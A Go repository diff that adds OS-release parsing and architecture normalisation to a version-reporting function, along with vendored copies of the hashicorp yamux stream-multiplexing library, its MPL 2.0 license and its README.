case "i386", "i486", "i586", "i686", "x86":
return "x86"
default:
return arch
}
}
func formatDetailedVersion(osRelease, kernel, arch string) string {
parts := make([]string, 0, 3)
if osRelease != "" {
parts = append(parts, osRelease)
}
if kernel != "" {
parts = append(parts, fmt.Sprintf("kernel %s", kernel))
}
if arch != "" {
parts = append(parts, arch)
}
return strings.Join(parts, " ")
}
func GetVersion() string {
osRelease := readOSRelease()
var uname unix.Utsname
if err := unix.Uname(&uname); err != nil {
//{{if .Config.Debug}}
log.Printf("error getting OS version: %v", err)
//{{end}}
return osRelease
}
if osRelease == "" {
osRelease = getString(uname.Sysname[:])
}
kernel := getString(uname.Release[:])
arch := normalizeArch(getString(uname.Machine[:]))
return formatDetailedVersion(osRelease, kernel, arch)
}
+105 -2
View File
@@ -22,7 +22,10 @@ package version
import (
"fmt"
//{{if .Config.Debug}}
"log"
//{{end}}
"os"
"strings"
"syscall"
)
@@ -39,11 +42,111 @@ func getString(input [65]int8) string {
return ver
}
func readOSRelease() string {
paths := []string{"/etc/os-release", "/usr/lib/os-release"}
for _, path := range paths {
data, err := os.ReadFile(path)
if err != nil {
continue
}
return buildOSRelease(parseOSRelease(string(data)))
}
return ""
}
func parseOSRelease(content string) map[string]string {
values := make(map[string]string)
for _, line := range strings.Split(content, "\n") {
line = strings.TrimSpace(line)
if line == "" || strings.HasPrefix(line, "#") {
continue
}
key, value, ok := strings.Cut(line, "=")
if !ok || key == "" {
continue
}
key = strings.TrimSpace(key)
value = unescape(unquote(strings.TrimSpace(value)))
values[key] = value
}
return values
}
func unquote(s string) string {
if len(s) < 2 {
return s
}
if (s[0] == '"' || s[0] == '\'') && s[0] == s[len(s)-1] {
return s[1 : len(s)-1]
}
return s
}
func unescape(s string) string {
return strings.NewReplacer(
`\$`, `$`,
`\"`, `"`,
`\'`, `'`,
`\\`, `\`,
"\\`", "`",
).Replace(s)
}
func buildOSRelease(values map[string]string) string {
name := values["NAME"]
version := values["VERSION"]
if version == "" {
version = values["VERSION_ID"]
}
if name != "" && version != "" {
return fmt.Sprintf("%s %s", name, version)
}
return values["PRETTY_NAME"]
}
func normalizeArch(arch string) string {
arch = strings.TrimSpace(arch)
if arch == "" {
return ""
}
switch strings.ToLower(arch) {
case "amd64":
return "x86_64"
case "i386", "i486", "i586", "i686", "x86":
return "x86"
default:
return arch
}
}
func formatDetailedVersion(osRelease, kernel, arch string) string {
parts := make([]string, 0, 3)
if osRelease != "" {
parts = append(parts, osRelease)
}
if kernel != "" {
parts = append(parts, fmt.Sprintf("kernel %s", kernel))
}
if arch != "" {
parts = append(parts, arch)
}
return strings.Join(parts, " ")
}
// GetVersion returns the os version information
func GetVersion() string {
osRelease := readOSRelease()
var uname syscall.Utsname
if err := syscall.Uname(&uname); err != nil {
log.Fatal(err)
//{{if .Config.Debug}}
log.Printf("error getting OS version: %v", err)
//{{end}}
return osRelease
}
return fmt.Sprintf("%s %s %s", getString(uname.Sysname), getString(uname.Nodename), getString(uname.Release))
if osRelease == "" {
osRelease = getString(uname.Sysname)
}
kernel := getString(uname.Release)
arch := normalizeArch(getString(uname.Machine))
return formatDetailedVersion(osRelease, kernel, arch)
}
+23
View File
@@ -0,0 +1,23 @@
# Compiled Object files, Static and Dynamic libs (Shared Objects)
*.o
*.a
*.so
# Folders
_obj
_test
# Architecture specific extensions/prefixes
*.[568vq]
[568vq].out
*.cgo1.go
*.cgo2.c
_cgo_defun.c
_cgo_gotypes.go
_cgo_export.*
_testmain.go
*.exe
*.test
+364
View File
@@ -0,0 +1,364 @@
Copyright (c) 2014 HashiCorp, Inc.
Mozilla Public License, version 2.0
1. Definitions
1.1. "Contributor"
means each individual or legal entity that creates, contributes to the
creation of, or owns Covered Software.
1.2. "Contributor Version"
means the combination of the Contributions of others (if any) used by a
Contributor and that particular Contributor's Contribution.
1.3. "Contribution"
means Covered Software of a particular Contributor.
1.4. "Covered Software"
means Source Code Form to which the initial Contributor has attached the
notice in Exhibit A, the Executable Form of such Source Code Form, and
Modifications of such Source Code Form, in each case including portions
thereof.
1.5. "Incompatible With Secondary Licenses"
means
a. that the initial Contributor has attached the notice described in
Exhibit B to the Covered Software; or
b. that the Covered Software was made available under the terms of
version 1.1 or earlier of the License, but not also under the terms of
a Secondary License.
1.6. "Executable Form"
means any form of the work other than Source Code Form.
1.7. "Larger Work"
means a work that combines Covered Software with other material, in a
separate file or files, that is not Covered Software.
1.8. "License"
means this document.
1.9. "Licensable"
means having the right to grant, to the maximum extent possible, whether
at the time of the initial grant or subsequently, any and all of the
rights conveyed by this License.
1.10. "Modifications"
means any of the following:
a. any file in Source Code Form that results from an addition to,
deletion from, or modification of the contents of Covered Software; or
b. any new file in Source Code Form that contains any Covered Software.
1.11. "Patent Claims" of a Contributor
means any patent claim(s), including without limitation, method,
process, and apparatus claims, in any patent Licensable by such
Contributor that would be infringed, but for the grant of the License,
by the making, using, selling, offering for sale, having made, import,
or transfer of either its Contributions or its Contributor Version.
1.12. "Secondary License"
means either the GNU General Public License, Version 2.0, the GNU Lesser
General Public License, Version 2.1, the GNU Affero General Public
License, Version 3.0, or any later versions of those licenses.
1.13. "Source Code Form"
means the form of the work preferred for making modifications.
1.14. "You" (or "Your")
means an individual or a legal entity exercising rights under this
License. For legal entities, "You" includes any entity that controls, is
controlled by, or is under common control with You. For purposes of this
definition, "control" means (a) the power, direct or indirect, to cause
the direction or management of such entity, whether by contract or
otherwise, or (b) ownership of more than fifty percent (50%) of the
outstanding shares or beneficial ownership of such entity.
2. License Grants and Conditions
2.1. Grants
Each Contributor hereby grants You a world-wide, royalty-free,
non-exclusive license:
a. under intellectual property rights (other than patent or trademark)
Licensable by such Contributor to use, reproduce, make available,
modify, display, perform, distribute, and otherwise exploit its
Contributions, either on an unmodified basis, with Modifications, or
as part of a Larger Work; and
b. under Patent Claims of such Contributor to make, use, sell, offer for
sale, have made, import, and otherwise transfer either its
Contributions or its Contributor Version.
2.2. Effective Date
The licenses granted in Section 2.1 with respect to any Contribution
become effective for each Contribution on the date the Contributor first
distributes such Contribution.
2.3. Limitations on Grant Scope
The licenses granted in this Section 2 are the only rights granted under
this License. No additional rights or licenses will be implied from the
distribution or licensing of Covered Software under this License.
Notwithstanding Section 2.1(b) above, no patent license is granted by a
Contributor:
a. for any code that a Contributor has removed from Covered Software; or
b. for infringements caused by: (i) Your and any other third party's
modifications of Covered Software, or (ii) the combination of its
Contributions with other software (except as part of its Contributor
Version); or
c. under Patent Claims infringed by Covered Software in the absence of
its Contributions.
This License does not grant any rights in the trademarks, service marks,
or logos of any Contributor (except as may be necessary to comply with
the notice requirements in Section 3.4).
2.4. Subsequent Licenses
No Contributor makes additional grants as a result of Your choice to
distribute the Covered Software under a subsequent version of this
License (see Section 10.2) or under the terms of a Secondary License (if
permitted under the terms of Section 3.3).
2.5. Representation
Each Contributor represents that the Contributor believes its
Contributions are its original creation(s) or it has sufficient rights to
grant the rights to its Contributions conveyed by this License.
2.6. Fair Use
This License is not intended to limit any rights You have under
applicable copyright doctrines of fair use, fair dealing, or other
equivalents.
2.7. Conditions
Sections 3.1, 3.2, 3.3, and 3.4 are conditions of the licenses granted in
Section 2.1.
3. Responsibilities
3.1. Distribution of Source Form
All distribution of Covered Software in Source Code Form, including any
Modifications that You create or to which You contribute, must be under
the terms of this License. You must inform recipients that the Source
Code Form of the Covered Software is governed by the terms of this
License, and how they can obtain a copy of this License. You may not
attempt to alter or restrict the recipients' rights in the Source Code
Form.
3.2. Distribution of Executable Form
If You distribute Covered Software in Executable Form then:
a. such Covered Software must also be made available in Source Code Form,
as described in Section 3.1, and You must inform recipients of the
Executable Form how they can obtain a copy of such Source Code Form by
reasonable means in a timely manner, at a charge no more than the cost
of distribution to the recipient; and
b. You may distribute such Executable Form under the terms of this
License, or sublicense it under different terms, provided that the
license for the Executable Form does not attempt to limit or alter the
recipients' rights in the Source Code Form under this License.
3.3. Distribution of a Larger Work
You may create and distribute a Larger Work under terms of Your choice,
provided that You also comply with the requirements of this License for
the Covered Software. If the Larger Work is a combination of Covered
Software with a work governed by one or more Secondary Licenses, and the
Covered Software is not Incompatible With Secondary Licenses, this
License permits You to additionally distribute such Covered Software
under the terms of such Secondary License(s), so that the recipient of
the Larger Work may, at their option, further distribute the Covered
Software under the terms of either this License or such Secondary
License(s).
3.4. Notices
You may not remove or alter the substance of any license notices
(including copyright notices, patent notices, disclaimers of warranty, or
limitations of liability) contained within the Source Code Form of the
Covered Software, except that You may alter any license notices to the
extent required to remedy known factual inaccuracies.
3.5. Application of Additional Terms
You may choose to offer, and to charge a fee for, warranty, support,
indemnity or liability obligations to one or more recipients of Covered
Software. However, You may do so only on Your own behalf, and not on
behalf of any Contributor. You must make it absolutely clear that any
such warranty, support, indemnity, or liability obligation is offered by
You alone, and You hereby agree to indemnify every Contributor for any
liability incurred by such Contributor as a result of warranty, support,
indemnity or liability terms You offer. You may include additional
disclaimers of warranty and limitations of liability specific to any
jurisdiction.
4. Inability to Comply Due to Statute or Regulation
If it is impossible for You to comply with any of the terms of this License
with respect to some or all of the Covered Software due to statute,
judicial order, or regulation then You must: (a) comply with the terms of
this License to the maximum extent possible; and (b) describe the
limitations and the code they affect. Such description must be placed in a
text file included with all distributions of the Covered Software under
this License. Except to the extent prohibited by statute or regulation,
such description must be sufficiently detailed for a recipient of ordinary
skill to be able to understand it.
5. Termination
5.1. The rights granted under this License will terminate automatically if You
fail to comply with any of its terms. However, if You become compliant,
then the rights granted under this License from a particular Contributor
are reinstated (a) provisionally, unless and until such Contributor
explicitly and finally terminates Your grants, and (b) on an ongoing
basis, if such Contributor fails to notify You of the non-compliance by
some reasonable means prior to 60 days after You have come back into
compliance. Moreover, Your grants from a particular Contributor are
reinstated on an ongoing basis if such Contributor notifies You of the
non-compliance by some reasonable means, this is the first time You have
received notice of non-compliance with this License from such
Contributor, and You become compliant prior to 30 days after Your receipt
of the notice.
5.2. If You initiate litigation against any entity by asserting a patent
infringement claim (excluding declaratory judgment actions,
counter-claims, and cross-claims) alleging that a Contributor Version
directly or indirectly infringes any patent, then the rights granted to
You by any and all Contributors for the Covered Software under Section
2.1 of this License shall terminate.
5.3. In the event of termination under Sections 5.1 or 5.2 above, all end user
license agreements (excluding distributors and resellers) which have been
validly granted by You or Your distributors under this License prior to
termination shall survive termination.
6. Disclaimer of Warranty
Covered Software is provided under this License on an "as is" basis,
without warranty of any kind, either expressed, implied, or statutory,
including, without limitation, warranties that the Covered Software is free
of defects, merchantable, fit for a particular purpose or non-infringing.
The entire risk as to the quality and performance of the Covered Software
is with You. Should any Covered Software prove defective in any respect,
You (not any Contributor) assume the cost of any necessary servicing,
repair, or correction. This disclaimer of warranty constitutes an essential
part of this License. No use of any Covered Software is authorized under
this License except under this disclaimer.
7. Limitation of Liability
Under no circumstances and under no legal theory, whether tort (including
negligence), contract, or otherwise, shall any Contributor, or anyone who
distributes Covered Software as permitted above, be liable to You for any
direct, indirect, special, incidental, or consequential damages of any
character including, without limitation, damages for lost profits, loss of
goodwill, work stoppage, computer failure or malfunction, or any and all
other commercial damages or losses, even if such party shall have been
informed of the possibility of such damages. This limitation of liability
shall not apply to liability for death or personal injury resulting from
such party's negligence to the extent applicable law prohibits such
limitation. Some jurisdictions do not allow the exclusion or limitation of
incidental or consequential damages, so this exclusion and limitation may
not apply to You.
8. Litigation
Any litigation relating to this License may be brought only in the courts
of a jurisdiction where the defendant maintains its principal place of
business and such litigation shall be governed by laws of that
jurisdiction, without reference to its conflict-of-law provisions. Nothing
in this Section shall prevent a party's ability to bring cross-claims or
counter-claims.
9. Miscellaneous
This License represents the complete agreement concerning the subject
matter hereof. If any provision of this License is held to be
unenforceable, such provision shall be reformed only to the extent
necessary to make it enforceable. Any law or regulation which provides that
the language of a contract shall be construed against the drafter shall not
be used to construe this License against a Contributor.
10. Versions of the License
10.1. New Versions
Mozilla Foundation is the license steward. Except as provided in Section
10.3, no one other than the license steward has the right to modify or
publish new versions of this License. Each version will be given a
distinguishing version number.
10.2. Effect of New Versions
You may distribute the Covered Software under the terms of the version
of the License under which You originally received the Covered Software,
or under the terms of any subsequent version published by the license
steward.
10.3. Modified Versions
If you create software not governed by this License, and you want to
create a new license for such software, you may create and use a
modified version of this License if you rename the license and remove
any references to the name of the license steward (except to note that
such modified license differs from this License).
10.4. Distributing Source Code Form that is Incompatible With Secondary
Licenses If You choose to distribute Source Code Form that is
Incompatible With Secondary Licenses under the terms of this version of
the License, the notice described in Exhibit B of this License must be
attached.
Exhibit A - Source Code Form License Notice
This Source Code Form is subject to the
terms of the Mozilla Public License, v.
2.0. If a copy of the MPL was not
distributed with this file, You can
obtain one at
http://mozilla.org/MPL/2.0/.
If it is not possible or desirable to put the notice in a particular file,
then You may include the notice in a location (such as a LICENSE file in a
relevant directory) where a recipient would be likely to look for such a
notice.
You may add additional accurate notices of copyright ownership.
Exhibit B - "Incompatible With Secondary Licenses" Notice
This Source Code Form is "Incompatible
With Secondary Licenses", as defined by
the Mozilla Public License, v. 2.0.
+86
View File
@@ -0,0 +1,86 @@
# Yamux
Yamux (Yet another Multiplexer) is a multiplexing library for Golang.
It relies on an underlying connection to provide reliability
and ordering, such as TCP or Unix domain sockets, and provides
stream-oriented multiplexing. It is inspired by SPDY but is not
interoperable with it.
Yamux features include:
* Bi-directional streams
* Streams can be opened by either client or server
* Useful for NAT traversal
* Server-side push support
* Flow control
* Avoid starvation
* Back-pressure to prevent overwhelming a receiver
* Keep Alives
* Enables persistent connections over a load balancer
* Efficient
* Enables thousands of logical streams with low overhead
## Documentation
For complete documentation, see the associated [Godoc](http://godoc.org/github.com/hashicorp/yamux).
## Specification
The full specification for Yamux is provided in the `spec.md` file.
It can be used as a guide to implementors of interoperable libraries.
## Usage
Using Yamux is remarkably simple:
```go
func client() {
// Get a TCP connection
conn, err := net.Dial(...)
if err != nil {
panic(err)
}
// Setup client side of yamux
session, err := yamux.Client(conn, nil)
if err != nil {
panic(err)
}
// Open a new stream
stream, err := session.Open()
if err != nil {
panic(err)
}
// Stream implements net.Conn
stream.Write([]byte("ping"))
}
func server() {
// Accept a TCP connection
conn, err := listener.Accept()
if err != nil {
panic(err)
}
// Setup server side of yamux
session, err := yamux.Server(conn, nil)
if err != nil {
panic(err)
}
// Accept a stream
stream, err := session.Accept()
if err != nil {
panic(err)
}
// Listen for a message
buf := make([]byte, 4)
stream.Read(buf)
}
```
+60
View File
@@ -0,0 +1,60 @@
package yamux
import (
"fmt"
"net"
)
// hasAddr is used to get the address from the underlying connection
type hasAddr interface {
LocalAddr() net.Addr
RemoteAddr() net.Addr
}
// yamuxAddr is used when we cannot get the underlying address
type yamuxAddr struct {
Addr string
}
func (*yamuxAddr) Network() string {
return "yamux"
}
func (y *yamuxAddr) String() string {
return fmt.Sprintf("yamux:%s", y.Addr)
}
// Addr is used to get the address of the listener.
func (s *Session) Addr() net.Addr {
return s.LocalAddr()
}
// LocalAddr is used to get the local address of the
// underlying connection.
func (s *Session) LocalAddr() net.Addr {
addr, ok := s.conn.(hasAddr)
if !ok {
return &yamuxAddr{"local"}
}
return addr.LocalAddr()
}
// RemoteAddr is used to get the address of remote end
// of the underlying connection
func (s *Session) RemoteAddr() net.Addr {
addr, ok := s.conn.(hasAddr)
if !ok {
return &yamuxAddr{"remote"}
}
return addr.RemoteAddr()
}
// LocalAddr returns the local address
func (s *Stream) LocalAddr() net.Addr {
return s.session.LocalAddr()
}
// RemoteAddr returns the remote address
func (s *Stream) RemoteAddr() net.Addr {
return s.session.RemoteAddr()
}
+182
View File
@@ -0,0 +1,182 @@
package yamux
import (
"encoding/binary"
"fmt"
)
// NetError implements net.Error
type NetError struct {
err error
timeout bool
temporary bool
}
func (e *NetError) Error() string {
return e.err.Error()
}
func (e *NetError) Timeout() bool {
return e.timeout
}
func (e *NetError) Temporary() bool {
return e.temporary
}
var (
// ErrInvalidVersion means we received a frame with an
// invalid version
ErrInvalidVersion = fmt.Errorf("invalid protocol version")
// ErrInvalidMsgType means we received a frame with an
// invalid message type
ErrInvalidMsgType = fmt.Errorf("invalid msg type")
// ErrSessionShutdown is used if there is a shutdown during
// an operation
ErrSessionShutdown = fmt.Errorf("session shutdown")
// ErrStreamsExhausted is returned if we have no more
// stream ids to issue
ErrStreamsExhausted = fmt.Errorf("streams exhausted")
// ErrDuplicateStream is used if a duplicate stream is
// opened inbound
ErrDuplicateStream = fmt.Errorf("duplicate stream initiated")
// ErrReceiveWindowExceeded indicates the window was exceeded
ErrRecvWindowExceeded = fmt.Errorf("recv window exceeded")
// ErrTimeout is used when we reach an IO deadline
ErrTimeout = &NetError{
err: fmt.Errorf("i/o deadline reached"),
// Error should meet net.Error interface for timeouts for compatability
// with standard library expectations, such as http servers.
timeout: true,
}
// ErrStreamClosed is returned when using a closed stream
ErrStreamClosed = fmt.Errorf("stream closed")
// ErrUnexpectedFlag is set when we get an unexpected flag
ErrUnexpectedFlag = fmt.Errorf("unexpected flag")
// ErrRemoteGoAway is used when we get a go away from the other side
ErrRemoteGoAway = fmt.Errorf("remote end is not accepting connections")
// ErrConnectionReset is sent if a stream is reset. This can happen
// if the backlog is exceeded, or if there was a remote GoAway.
ErrConnectionReset = fmt.Errorf("connection reset")
// ErrConnectionWriteTimeout indicates that we hit the "safety valve"
// timeout writing to the underlying stream connection.
ErrConnectionWriteTimeout = fmt.Errorf("connection write timeout")
// ErrKeepAliveTimeout is sent if a missed keepalive caused the stream close
ErrKeepAliveTimeout = fmt.Errorf("keepalive timeout")
)
const (
// protoVersion is the only version we support
protoVersion uint8 = 0
)
const (
// Data is used for data frames. They are followed
// by length bytes worth of payload.
typeData uint8 = iota
// WindowUpdate is used to change the window of
// a given stream. The length indicates the delta
// update to the window.
typeWindowUpdate
// Ping is sent as a keep-alive or to measure
// the RTT. The StreamID and Length value are echoed
// back in the response.
typePing
// GoAway is sent to terminate a session. The StreamID
// should be 0 and the length is an error code.
typeGoAway
)
const (
// SYN is sent to signal a new stream. May
// be sent with a data payload
flagSYN uint16 = 1 << iota
// ACK is sent to acknowledge a new stream. May
// be sent with a data payload
flagACK
// FIN is sent to half-close the given stream.
// May be sent with a data payload.
flagFIN
// RST is used to hard close a given stream.
flagRST
)
const (
// initialStreamWindow is the initial stream window size
initialStreamWindow uint32 = 256 * 1024
)
const (
// goAwayNormal is sent on a normal termination
goAwayNormal uint32 = iota
// goAwayProtoErr sent on a protocol error
goAwayProtoErr
// goAwayInternalErr sent on an internal error
goAwayInternalErr
)
const (
sizeOfVersion = 1
sizeOfType = 1
sizeOfFlags = 2
sizeOfStreamID = 4
sizeOfLength = 4
headerSize = sizeOfVersion + sizeOfType + sizeOfFlags +
sizeOfStreamID + sizeOfLength
)
type header []byte
func (h header) Version() uint8 {
return h[0]
}
func (h header) MsgType() uint8 {
return h[1]
}
func (h header) Flags() uint16 {
return binary.BigEndian.Uint16(h[2:4])
}
func (h header) StreamID() uint32 {
return binary.BigEndian.Uint32(h[4:8])
}
func (h header) Length() uint32 {
return binary.BigEndian.Uint32(h[8:12])
}
func (h header) String() string {
return fmt.Sprintf("Vsn:%d Type:%d Flags:%d StreamID:%d Length:%d",
h.Version(), h.MsgType(), h.Flags(), h.StreamID(), h.Length())
}
func (h header) encode(msgType uint8, flags uint16, streamID uint32, length uint32) {
h[0] = protoVersion
h[1] = msgType
binary.BigEndian.PutUint16(h[2:4], flags)
binary.BigEndian.PutUint32(h[4:8], streamID)
binary.BigEndian.PutUint32(h[8:12], length)
}
+118
View File
@@ -0,0 +1,118 @@
package yamux
import (
"fmt"
"io"
"os"
"time"
)
// Config is used to tune the Yamux session
type Config struct {
// AcceptBacklog is used to limit how many streams may be
// waiting an accept.
AcceptBacklog int
// EnableKeepalive is used to do a period keep alive
// messages using a ping.
EnableKeepAlive bool
// KeepAliveInterval is how often to perform the keep alive
KeepAliveInterval time.Duration
// ConnectionWriteTimeout is meant to be a "safety valve" timeout after
// we which will suspect a problem with the underlying connection and
// close it. This is only applied to writes, where's there's generally
// an expectation that things will move along quickly.
ConnectionWriteTimeout time.Duration
// MaxStreamWindowSize is used to control the maximum
// window size that we allow for a stream.
MaxStreamWindowSize uint32
// StreamOpenTimeout is the maximum amount of time that a stream will
// be allowed to remain in pending state while waiting for an ack from the peer.
// Once the timeout is reached the session will be gracefully closed.
// A zero value disables the StreamOpenTimeout allowing unbounded
// blocking on OpenStream calls.
StreamOpenTimeout time.Duration
// StreamCloseTimeout is the maximum time that a stream will allowed to
// be in a half-closed state when `Close` is called before forcibly
// closing the connection. Forcibly closed connections will empty the
// receive buffer, drop any future packets received for that stream,
// and send a RST to the remote side.
StreamCloseTimeout time.Duration
// LogOutput is used to control the log destination. Either Logger or
// LogOutput can be set, not both.
LogOutput io.Writer
// Logger is used to pass in the logger to be used. Either Logger or
// LogOutput can be set, not both.
Logger Logger
}
func (c *Config) Clone() *Config {
c2 := *c
return &c2
}
// DefaultConfig is used to return a default configuration
func DefaultConfig() *Config {
return &Config{
AcceptBacklog: 256,
EnableKeepAlive: true,
KeepAliveInterval: 30 * time.Second,
ConnectionWriteTimeout: 10 * time.Second,
MaxStreamWindowSize: initialStreamWindow,
StreamCloseTimeout: 5 * time.Minute,
StreamOpenTimeout: 75 * time.Second,
LogOutput: os.Stderr,
}
}
// VerifyConfig is used to verify the sanity of configuration
func VerifyConfig(config *Config) error {
if config.AcceptBacklog <= 0 {
return fmt.Errorf("backlog must be positive")
}
if config.KeepAliveInterval == 0 {
return fmt.Errorf("keep-alive interval must be positive")
}
if config.MaxStreamWindowSize < initialStreamWindow {
return fmt.Errorf("MaxStreamWindowSize must be larger than %d", initialStreamWindow)
}
if config.LogOutput != nil && config.Logger != nil {
return fmt.Errorf("both Logger and LogOutput may not be set, select one")
} else if config.LogOutput == nil && config.Logger == nil {
return fmt.Errorf("one of Logger or LogOutput must be set, select one")
}
return nil
}
// Server is used to initialize a new server-side connection.
// There must be at most one server-side connection. If a nil config is
// provided, the DefaultConfiguration will be used.
func Server(conn io.ReadWriteCloser, config *Config) (*Session, error) {
if config == nil {
config = DefaultConfig()
}
if err := VerifyConfig(config); err != nil {
return nil, err
}
return newSession(config, conn, false), nil
}
// Client is used to initialize a new client-side connection.
// There must be at most one client-side connection.
func Client(conn io.ReadWriteCloser, config *Config) (*Session, error) {
if config == nil {
config = DefaultConfig()
}
if err := VerifyConfig(config); err != nil {
return nil, err
}
return newSession(config, conn, true), nil
}
+749
View File
@@ -0,0 +1,749 @@
package yamux
import (
"bufio"
"bytes"
"context"
"fmt"
"io"
"io/ioutil"
"log"
"math"
"net"
"strings"
"sync"
"sync/atomic"
"time"
)
// Session is used to wrap a reliable ordered connection and to
// multiplex it into multiple streams.
type Session struct {
// remoteGoAway indicates the remote side does
// not want futher connections. Must be first for alignment.
remoteGoAway int32
// localGoAway indicates that we should stop
// accepting futher connections. Must be first for alignment.
localGoAway int32
// nextStreamID is the next stream we should
// send. This depends if we are a client/server.
nextStreamID uint32
// config holds our configuration
config *Config
// logger is used for our logs
logger Logger
// conn is the underlying connection
conn io.ReadWriteCloser
// bufRead is a buffered reader
bufRead *bufio.Reader
// pings is used to track inflight pings
pings map[uint32]chan struct{}
pingID uint32
pingLock sync.Mutex
// streams maps a stream id to a stream, and inflight has an entry
// for any outgoing stream that has not yet been established. Both are
// protected by streamLock.
streams map[uint32]*Stream
inflight map[uint32]struct{}
streamLock sync.Mutex
// synCh acts like a semaphore. It is sized to the AcceptBacklog which
// is assumed to be symmetric between the client and server. This allows
// the client to avoid exceeding the backlog and instead blocks the open.
synCh chan struct{}
// acceptCh is used to pass ready streams to the client
acceptCh chan *Stream
// sendCh is used to mark a stream as ready to send,
// or to send a header out directly.
sendCh chan *sendReady
// recvDoneCh is closed when recv() exits to avoid a race
// between stream registration and stream shutdown
recvDoneCh chan struct{}
sendDoneCh chan struct{}
// shutdown is used to safely close a session
shutdown bool
shutdownErr error
shutdownCh chan struct{}
shutdownLock sync.Mutex
shutdownErrLock sync.Mutex
}
// sendReady is used to either mark a stream as ready
// or to directly send a header
type sendReady struct {
Hdr []byte
mu sync.Mutex // Protects Body from unsafe reads.
Body []byte
Err chan error
}
// newSession is used to construct a new session
func newSession(config *Config, conn io.ReadWriteCloser, client bool) *Session {
logger := config.Logger
if logger == nil {
logger = log.New(config.LogOutput, "", log.LstdFlags)
}
s := &Session{
config: config,
logger: logger,
conn: conn,
bufRead: bufio.NewReader(conn),
pings: make(map[uint32]chan struct{}),
streams: make(map[uint32]*Stream),
inflight: make(map[uint32]struct{}),
synCh: make(chan struct{}, config.AcceptBacklog),
acceptCh: make(chan *Stream, config.AcceptBacklog),
sendCh: make(chan *sendReady, 64),
recvDoneCh: make(chan struct{}),
sendDoneCh: make(chan struct{}),
shutdownCh: make(chan struct{}),
}
if client {
s.nextStreamID = 1
} else {
s.nextStreamID = 2
}
go s.recv()
go s.send()
if config.EnableKeepAlive {
go s.keepalive()
}
return s
}
// IsClosed does a safe check to see if we have shutdown
func (s *Session) IsClosed() bool {
select {
case <-s.shutdownCh:
return true
default:
return false
}
}
// CloseChan returns a read-only channel which is closed as
// soon as the session is closed.
func (s *Session) CloseChan() <-chan struct{} {
return s.shutdownCh
}
// NumStreams returns the number of currently open streams
func (s *Session) NumStreams() int {
s.streamLock.Lock()
num := len(s.streams)
s.streamLock.Unlock()
return num
}
// Open is used to create a new stream as a net.Conn
func (s *Session) Open() (net.Conn, error) {
conn, err := s.OpenStream()
if err != nil {
return nil, err
}
return conn, nil
}
// OpenStream is used to create a new stream
func (s *Session) OpenStream() (*Stream, error) {
if s.IsClosed() {
return nil, ErrSessionShutdown
}
if atomic.LoadInt32(&s.remoteGoAway) == 1 {
return nil, ErrRemoteGoAway
}
// Block if we have too many inflight SYNs
select {
case s.synCh <- struct{}{}:
case <-s.shutdownCh:
return nil, ErrSessionShutdown
}
GET_ID:
// Get an ID, and check for stream exhaustion
id := atomic.LoadUint32(&s.nextStreamID)
if id >= math.MaxUint32-1 {
return nil, ErrStreamsExhausted
}
if !atomic.CompareAndSwapUint32(&s.nextStreamID, id, id+2) {
goto GET_ID
}
// Register the stream
stream := newStream(s, id, streamInit)
s.streamLock.Lock()
s.streams[id] = stream
s.inflight[id] = struct{}{}
s.streamLock.Unlock()
if s.config.StreamOpenTimeout > 0 {
go s.setOpenTimeout(stream)
}
// Send the window update to create
if err := stream.sendWindowUpdate(); err != nil {
select {
case <-s.synCh:
default:
s.logger.Printf("[ERR] yamux: aborted stream open without inflight syn semaphore")
}
return nil, err
}
return stream, nil
}
// setOpenTimeout implements a timeout for streams that are opened but not established.
// If the StreamOpenTimeout is exceeded we assume the peer is unable to ACK,
// and close the session.
// The number of running timers is bounded by the capacity of the synCh.
func (s *Session) setOpenTimeout(stream *Stream) {
timer := time.NewTimer(s.config.StreamOpenTimeout)
defer timer.Stop()
select {
case <-stream.establishCh:
return
case <-s.shutdownCh:
return
case <-timer.C:
// Timeout reached while waiting for ACK.
// Close the session to force connection re-establishment.
s.logger.Printf("[ERR] yamux: aborted stream open (destination=%s): %v", s.RemoteAddr().String(), ErrTimeout.err)
s.Close()
}
}
// Accept is used to block until the next available stream
// is ready to be accepted.
func (s *Session) Accept() (net.Conn, error) {
conn, err := s.AcceptStream()
if err != nil {
return nil, err
}
return conn, err
}
// AcceptStream is used to block until the next available stream
// is ready to be accepted.
func (s *Session) AcceptStream() (*Stream, error) {
select {
case stream := <-s.acceptCh:
if err := stream.sendWindowUpdate(); err != nil {
return nil, err
}
return stream, nil
case <-s.shutdownCh:
return nil, s.shutdownErr
}
}
// AcceptStream is used to block until the next available stream
// is ready to be accepted.
func (s *Session) AcceptStreamWithContext(ctx context.Context) (*Stream, error) {
select {
case <-ctx.Done():
return nil, ctx.Err()
case stream := <-s.acceptCh:
if err := stream.sendWindowUpdate(); err != nil {
return nil, err
}
return stream, nil
case <-s.shutdownCh:
return nil, s.shutdownErr
}
}
// Close is used to close the session and all streams.
// Attempts to send a GoAway before closing the connection.
func (s *Session) Close() error {
s.shutdownLock.Lock()
defer s.shutdownLock.Unlock()
if s.shutdown {
return nil
}
s.shutdown = true
s.shutdownErrLock.Lock()
if s.shutdownErr == nil {
s.shutdownErr = ErrSessionShutdown
}
s.shutdownErrLock.Unlock()
close(s.shutdownCh)
s.conn.Close()
<-s.recvDoneCh
s.streamLock.Lock()
defer s.streamLock.Unlock()
for _, stream := range s.streams {
stream.forceClose()
}
<-s.sendDoneCh
return nil
}
// exitErr is used to handle an error that is causing the
// session to terminate.
func (s *Session) exitErr(err error) {
s.shutdownErrLock.Lock()
if s.shutdownErr == nil {
s.shutdownErr = err
}
s.shutdownErrLock.Unlock()
s.Close()
}
// GoAway can be used to prevent accepting further
// connections. It does not close the underlying conn.
func (s *Session) GoAway() error {
return s.waitForSend(s.goAway(goAwayNormal), nil)
}
// goAway is used to send a goAway message
func (s *Session) goAway(reason uint32) header {
atomic.SwapInt32(&s.localGoAway, 1)
hdr := header(make([]byte, headerSize))
hdr.encode(typeGoAway, 0, 0, reason)
return hdr
}
// Ping is used to measure the RTT response time
func (s *Session) Ping() (time.Duration, error) {
// Get a channel for the ping
ch := make(chan struct{})
// Get a new ping id, mark as pending
s.pingLock.Lock()
id := s.pingID
s.pingID++
s.pings[id] = ch
s.pingLock.Unlock()
// Send the ping request
hdr := header(make([]byte, headerSize))
hdr.encode(typePing, flagSYN, 0, id)
if err := s.waitForSend(hdr, nil); err != nil {
return 0, err
}
// Wait for a response
start := time.Now()
select {
case <-ch:
case <-time.After(s.config.ConnectionWriteTimeout):
s.pingLock.Lock()
delete(s.pings, id) // Ignore it if a response comes later.
s.pingLock.Unlock()
return 0, ErrTimeout
case <-s.shutdownCh:
return 0, ErrSessionShutdown
}
